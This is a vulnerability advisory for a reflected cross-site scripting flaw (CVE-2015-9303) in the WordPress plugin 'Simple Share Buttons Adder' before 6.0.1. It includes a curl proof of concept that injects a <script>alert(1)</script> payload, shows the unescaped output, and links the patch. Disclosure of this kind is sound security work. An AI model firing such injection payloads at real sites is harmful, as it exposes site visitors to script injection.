Simple Share Buttons Adder <= 6.0.0 – Reflected Cross-Site Scripting (XSS) | CVE 2015-9303

Description

A reflected XSS in "Simple Share Buttons Adder" before version 6.0.1 lead to a reflected cross-site scripting vulnerability on all pages where the "Simple Share Buttons Adder" was added (usually all blog posts).

Exploitation required that the browser did not encode the parameters sent to the server. Most prominently this thus affects Internet Explorer but is not exploitable on recent versions of Chrome or Firefox.

Proof of Concept

curl "http://output.com/index.php/2015/06/02/hello-world/?<script>alert(1)</script>" will result in:

<a class="ssba_google_share" href="https://plus.google.com/share?url=http://output.com/2015/06/02/hello-world?<script>alert(1)</script>"

Patch in ssba_current_url can be found at https://plugins.trac.wordpress.org/changeset/1172761/simple-share-buttons-adder/trunk